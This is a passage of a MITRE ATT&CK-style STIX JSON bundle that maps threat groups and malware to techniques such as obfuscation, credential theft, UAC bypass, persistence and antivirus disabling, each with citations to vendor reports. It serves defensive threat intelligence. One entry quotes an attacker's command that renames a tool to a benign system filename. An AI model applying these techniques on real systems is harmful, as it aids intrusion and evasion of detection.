                    "description": "Microsoft. (2016, July 14). Reverse engineering DUBNIUM \u2013 Stage 2 payload analysis . Retrieved March 31, 2021."
                }
            ],
            "description": "[Darkhotel](https://attack.mitre.org/groups/G0012) has obfuscated code using RC4, XOR, and RSA.(Citation: Securelist Darkhotel Aug 2015)(Citation: Microsoft DUBNIUM July 2016)",
            "id": "relationship--1330d8a5-c8be-4579-8a91-4cfda860ea0a",
            "source_ref": "intrusion-set--9e729a7e-0dd6-4097-95bf-db8d64911383",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2021-04-22T14:35:25.547Z",
            "created": "2019-01-30T17:43:28.252Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf",
                    "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.",
                    "source_name": "McAfee Night Dragon"
                }
            ],
            "description": "[zwShell](https://attack.mitre.org/software/S0350) has used SchTasks for execution.(Citation: McAfee Night Dragon)",
            "id": "relationship--38419f2f-51d2-47ed-9fd9-bba3712474cc",
            "source_ref": "malware--54e8672d-5338-4ad1-954a-a7c986bee530",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
            "type": "relationship",
            "modified": "2020-03-16T16:07:38.956Z",
            "created": "2019-01-30T17:48:35.683Z"
        },
        {
            "id": "relationship--960bdedf-dcca-4a9b-aa12-358324565470",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Proxysvc](https://attack.mitre.org/software/S0238) collects the OS version, country name, MAC address, computer name, physical memory statistics, and volume information for all drives on the system.(Citation: McAfee GhostSecret)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/",
                    "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.",
                    "source_name": "McAfee GhostSecret"
                }
            ],
            "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "type": "relationship",
            "modified": "2019-04-22T22:40:41.273Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "id": "relationship--a24e618b-6624-4bca-9bef-c5f4ca6cab53",
            "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8",
            "relationship_type": "uses",
            "target_ref": "malware--54e8672d-5338-4ad1-954a-a7c986bee530",
            "external_references": [
                {
                    "source_name": "McAfee Night Dragon",
                    "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.",
                    "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf"
                }
            ],
            "description": "(Citation: McAfee Night Dragon)",
            "type": "relationship",
            "modified": "2019-03-25T14:36:29.965Z",
            "created": "2019-01-30T18:02:59.524Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Xiao, C. (2018, September 17). Xbash Combines Botnet, Ransomware, Coinmining in Worm that Targets Linux and Windows. Retrieved November 14, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-xbash-combines-botnet-ransomware-coinmining-worm-targets-linux-windows/",
                    "source_name": "Unit42 Xbash Sept 2018"
                }
            ],
            "description": "[Xbash](https://attack.mitre.org/software/S0341) can perform port scanning of TCP and UDP ports.(Citation: Unit42 Xbash Sept 2018)",
            "id": "relationship--9409dcff-0ddf-43f6-b7c0-937fd9216ee0",
            "source_ref": "malware--6a92d80f-cc65-45f6-aa66-3cdea6786b3c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88",
            "type": "relationship",
            "modified": "2019-06-28T15:15:54.370Z",
            "created": "2019-01-30T13:28:47.840Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Grunzweig, J., Lee, B. (2018, September 27). New KONNI Malware attacking Eurasia and Southeast Asia. Retrieved November 5, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/09/unit42-new-konni-malware-attacking-eurasia-southeast-asia/",
                    "source_name": "Unit 42 NOKKI Sept 2018"
                }
            ],
            "description": "[NOKKI](https://attack.mitre.org/software/S0353) uses Base64 encoding for strings.(Citation: Unit 42 NOKKI Sept 2018)",
            "id": "relationship--6f5973be-3c51-4bd1-b652-f12903caa3e2",
            "source_ref": "malware--071d5d65-83ec-4a55-acfa-be7d5f28ba9a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2020-03-17T01:58:31.541Z",
            "created": "2019-01-30T19:50:46.676Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET GreyEnergy Oct 2018",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf",
                    "description": "Cherepanov, A. (2018, October). GREYENERGY A successor to BlackEnergy. Retrieved November 15, 2018."
                }
            ],
            "description": "[GreyEnergy](https://attack.mitre.org/software/S0342) has a module to inject a PE binary into a remote process.(Citation: ESET GreyEnergy Oct 2018)",
            "id": "relationship--b37c1e66-774b-45ff-9c2a-b24ea9784963",
            "source_ref": "malware--308b3d68-a084-4dfb-885a-3125e1a9c1e8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--806a49c4-970d-43f9-9acc-ac0ee11e6662",
            "type": "relationship",
            "modified": "2020-03-16T16:44:48.808Z",
            "created": "2019-01-30T13:53:14.891Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT29 Nov 2018",
                    "url": "https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html",
                    "description": "Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018."
                }
            ],
            "description": "[APT29](https://attack.mitre.org/groups/G0016) has used TCP for C2 communications.(Citation: FireEye APT29 Nov 2018)",
            "id": "relationship--7ef9be47-db80-47bd-bff1-a7f4c1a22562",
            "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b",
            "type": "relationship",
            "modified": "2021-04-19T13:59:53.475Z",
            "created": "2019-01-30T14:19:17.622Z"
        },
        {
            "id": "relationship--c9a7b725-bdab-4955-a963-b747a406102b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Bankshot](https://attack.mitre.org/software/S0239) uses the command-line interface to execute arbitrary commands.(Citation: McAfee Bankshot)(Citation: US-CERT Bankshot Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "McAfee Bankshot",
                    "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.",
                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/"
                },
                {
                    "source_name": "US-CERT Bankshot Dec 2017",
                    "description": "US-CERT. (2017, December 13). Malware Analysis Report (MAR) - 10135536-B. Retrieved July 17, 2018.",
                    "url": "https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF"
                }
            ],
            "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-17T19:04:51.650Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Yan, T., et al. (2018, November 21). New Wine in Old Bottle: New Azorult Variant Found in FindMyName Campaign using Fallout Exploit Kit. Retrieved November 29, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2018/11/unit42-new-wine-old-bottle-new-azorult-variant-found-findmyname-campaign-using-fallout-exploit-kit/",
                    "source_name": "Unit42 Azorult Nov 2018"
                }
            ],
            "description": "[Azorult](https://attack.mitre.org/software/S0344) can steal credentials in files belonging to common software such as Skype, Telegram, and Steam.(Citation: Unit42 Azorult Nov 2018)",
            "id": "relationship--3e418cf0-fbe4-4de1-84bf-e137c5c0a72a",
            "source_ref": "malware--f9b05f33-d45d-4e4d-aafe-c208d38a0080",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc",
            "type": "relationship",
            "modified": "2019-07-26T23:22:28.281Z",
            "created": "2019-01-30T15:19:14.919Z"
        },
        {
            "id": "relationship--659462ab-e1ed-4370-9810-aa3efcb060bf",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FinFisher](https://attack.mitre.org/software/S0182) performs UAC bypass.(Citation: FinFisher Citation)(Citation: Microsoft FinFisher March 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://www.finfisher.com/FinFisher/index.html",
                    "description": "FinFisher. (n.d.). Retrieved December 20, 2017.",
                    "source_name": "FinFisher Citation"
                },
                {
                    "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/",
                    "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.",
                    "source_name": "Microsoft FinFisher March 2018"
                }
            ],
            "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073",
            "type": "relationship",
            "modified": "2019-08-12T17:30:07.407Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "source_name": "Mandiant APT1"
                }
            ],
            "description": "[WEBC2](https://attack.mitre.org/software/S0109) can open an interactive command shell.(Citation: Mandiant APT1)",
            "id": "relationship--b3e4c3b6-0036-4968-b245-a4c36d3cd417",
            "source_ref": "malware--1d808f62-cf63-4063-9727-ff6132514c22",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-19T21:52:19.982Z",
            "created": "2019-01-30T15:21:42.369Z"
        },
        {
            "id": "relationship--5d397a8d-2195-440d-a0f5-bbf6c3e8f6e4",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) stores output from command execution in a .dat file in the %TEMP% directory.(Citation: ESET Sednit Part 2)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Sednit Part 2",
                    "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.",
                    "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf"
                }
            ],
            "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c",
            "type": "relationship",
            "modified": "2020-03-16T23:12:00.321Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Mandiant APT1 Appendix",
                    "description": "Mandiant. (n.d.). Appendix C (Digital) - The Malware Arsenal. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report-appendix.zip"
                }
            ],
            "description": "[BISCUIT](https://attack.mitre.org/software/S0017) has a command to gather the username from the system.(Citation: Mandiant APT1 Appendix)",
            "id": "relationship--ec037573-058a-43d5-a76e-bd76e99953dd",
            "source_ref": "malware--b8eb28e4-48a6-40ae-951a-328714f75eda",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "type": "relationship",
            "modified": "2020-03-16T16:03:40.911Z",
            "created": "2019-01-30T15:38:21.244Z"
        },
        {
            "id": "relationship--ed522c9c-038b-43c0-af66-e81b954104f2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[POWRUNER](https://attack.mitre.org/software/S0184) can capture a screenshot from a victim.(Citation: FireEye APT34 Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT34 Dec 2017",
                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
                }
            ],
            "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2020-03-17T02:14:56.030Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--3680408d-e56e-4d68-a74d-2678093ed53f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "type": "relationship",
            "modified": "2018-10-17T00:14:20.652Z",
            "created": "2018-04-18T17:59:24.739Z",
            "source_ref": "intrusion-set--9559ecaf-2e75-48a7-aee8-9974020bc772",
            "relationship_type": "revoked-by",
            "target_ref": "intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0"
        },
        {
            "id": "relationship--4b45b720-a606-4c52-a28a-2ef298f9b42f",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FIN6](https://attack.mitre.org/groups/G0037) has used Registry Run keys to establish persistence for its downloader tools known as HARDTACK and SHIPBREAD.(Citation: FireEye FIN6 April 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf",
                    "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.",
                    "source_name": "FireEye FIN6 April 2016"
                }
            ],
            "source_ref": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279",
            "type": "relationship",
            "modified": "2020-10-08T14:44:54.343Z",
            "created": "2017-05-31T21:33:27.071Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Grunzweig, J.. (2017, April 20). Cardinal RAT Active for Over Two Years. Retrieved December 8, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/04/unit42-cardinal-rat-active-two-years/",
                    "source_name": "PaloAlto CardinalRat Apr 2017"
                }
            ],
            "description": "[Cardinal RAT](https://attack.mitre.org/software/S0348) encodes many of its artifacts and is encrypted (AES-128) when downloaded.(Citation: PaloAlto CardinalRat Apr 2017) ",
            "id": "relationship--ff950ea2-2982-4bfd-8361-7755e83778fd",
            "source_ref": "malware--b879758f-bbc4-4cab-b5ba-177ac9b009b4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
            "type": "relationship",
            "modified": "2019-06-10T18:25:51.594Z",
            "created": "2019-01-30T16:39:54.479Z"
        },
        {
            "id": "relationship--ee46b157-d368-42e4-98f6-b76f6e65c9bd",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[FIN8](https://attack.mitre.org/groups/G0061) uses [dsquery](https://attack.mitre.org/software/S0105) and other Active Directory utilities to enumerate hosts.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html",
                    "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.",
                    "source_name": "FireEye Know Your Enemy FIN8 Aug 2016"
                }
            ],
            "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735",
            "type": "relationship",
            "modified": "2019-03-22T20:21:57.723Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 10). MuddyWater expands operations. Retrieved November 2, 2018.",
                    "url": "https://securelist.com/muddywater/88059/",
                    "source_name": "Securelist MuddyWater Oct 2018"
                }
            ],
            "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used malware that leveraged rundll32.exe in a Registry Run key to execute a .dll.(Citation: Securelist MuddyWater Oct 2018)",
            "id": "relationship--ea11624f-1025-46a9-820b-0b87866f534d",
            "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5",
            "type": "relationship",
            "modified": "2019-06-28T15:30:58.707Z",
            "created": "2019-01-30T17:33:40.878Z"
        },
        {
            "id": "relationship--a6962782-1942-42f5-a627-f205376e2ec2",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[BACKSPACE](https://attack.mitre.org/software/S0031) attempts to avoid detection by checking a first stage command and control server to determine if it should connect to the second stage server, which performs \"louder\" interactions with the malware.(Citation: FireEye APT30)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT30",
                    "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.",
                    "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
                }
            ],
            "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91",
            "type": "relationship",
            "modified": "2020-03-17T00:19:44.130Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--4da943df-a7dc-499f-a8b7-ca8d298d8ff6",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[admin@338](https://attack.mitre.org/groups/G0018) actors used the following command to rename one of their tools to a benign file name: <code>ren \"%temp%\\upload\" audiodg.exe</code>(Citation: FireEye admin@338)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html",
                    "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved December 4, 2015.",
                    "source_name": "FireEye admin@338"
                }
            ],
            "source_ref": "intrusion-set--16ade1aa-0ea1-4bb7-88cc-9079df2ae756",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "type": "relationship",
            "modified": "2020-03-17T23:03:02.717Z",
            "created": "2017-05-31T21:33:27.052Z"
        },
        {
            "id": "relationship--557d3feb-0699-429e-bc83-ff114cf138ef",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[OilRig](https://attack.mitre.org/groups/G0049) has delivered macro-enabled documents that required targets to click the \"enable content\" button to execute the payload on the system.(Citation: Unit 42 OopsIE! Feb 2018)(Citation: Unit 42 QUADAGENT July 2018)(Citation: Crowdstrike Helix Kitten Nov 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2018/02/unit42-oopsie-oilrig-uses-threedollars-deliver-new-trojan/",
                    "description": "Lee, B., Falcone, R. (2018, February 23). OopsIE! OilRig Uses ThreeDollars to Deliver New Trojan. Retrieved July 16, 2018.",
                    "source_name": "Unit 42 OopsIE! Feb 2018"
                },
                {
                    "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/",
                    "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.",
                    "source_name": "Unit 42 QUADAGENT July 2018"
                },
                {
                    "description": "Meyers, A. (2018, November 27). Meet CrowdStrike\u2019s Adversary of the Month for November: HELIX KITTEN. Retrieved December 18, 2018.",
                    "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/",
                    "source_name": "Crowdstrike Helix Kitten Nov 2018"
                }
            ],
            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e",
            "type": "relationship",
            "modified": "2020-03-17T14:52:22.189Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "McAfee Night Dragon",
                    "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.",
                    "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf"
                }
            ],
            "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) has disabled anti-virus and anti-spyware tools in some instances on the victim\u2019s machines. The actors have also disabled proxy settings to allow direct communication from victims to the Internet.(Citation: McAfee Night Dragon)",
            "id": "relationship--7c5c4ef2-2e0b-4c83-ae98-8f0f40cb6d3c",
            "source_ref": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579",
            "type": "relationship",
            "modified": "2020-08-11T19:48:45.347Z",
            "created": "2019-01-30T18:02:59.190Z"
        },
        {
            "id": "relationship--d7d3cf5c-e541-4639-95c6-8cdea60b084d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[cmd](https://attack.mitre.org/software/S0106) can be used to delete files from the file system.(Citation: TechNet Del)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "TechNet Del",
                    "description": "Microsoft. (n.d.). Del. Retrieved April 22, 2016.",
                    "url": "https://technet.microsoft.com/en-us/library/cc771049.aspx"
                }
            ],
            "source_ref": "tool--bba595da-b73a-4354-aa6c-224d4de7cb4e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c",
            "type": "relationship",
            "modified": "2020-03-17T19:12:13.036Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Securelist Sofacy Feb 2018",
                    "url": "https://securelist.com/a-slice-of-2017-sofacy-activity/83930/",
                    "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018."
                },
                {
                    "source_name": "ESET Zebrocy Nov 2018",
                    "url": "https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/",
                    "description": "ESET. (2018, November 20). Sednit: What\u2019s going on with Zebrocy?. Retrieved February 12, 2019."
                },
                {
                    "source_name": "CISA Zebrocy Oct 2020",
                    "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b",
                    "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020."
                }
            ],
            "description": "[Zebrocy](https://attack.mitre.org/software/S0251)  has used a method similar to RC4 as well as AES for encryption and hexadecimal for encoding data before exfiltration. (Citation: Securelist Sofacy Feb 2018)(Citation: ESET Zebrocy Nov 2018)(Citation: CISA Zebrocy Oct 2020) ",
            "id": "relationship--960accee-d5ea-4570-8697-84ada0cc266a",
            "source_ref": "malware--a4f57468-fbd5-49e4-8476-52088220b92d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a",
            "type": "relationship",
            "modified": "2020-12-09T21:54:33.258Z",
            "created": "2019-01-30T18:39:48.410Z"
        },
        {
            "id": "relationship--3837e91f-47d5-4b30-b11b-76a91450c4ef",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PowerSploit](https://attack.mitre.org/software/S0194) contains a collection of Exfiltration modules that can harvest credentials from Group Policy Preferences.(Citation: GitHub PowerSploit May 2012)(Citation: PowerSploit Documentation)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://github.com/PowerShellMafia/PowerSploit",
                    "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.",
                    "source_name": "GitHub PowerSploit May 2012"
                },
                {
                    "url": "http://powersploit.readthedocs.io",
                    "description": "PowerSploit. (n.d.). PowerSploit. Retrieved February 6, 2018.",
                    "source_name": "PowerSploit Documentation"
                }
            ],
            "source_ref": "tool--13cd9151-83b7-410d-9f98-25d0f0d1d80d",
            "relationship_type": "uses",
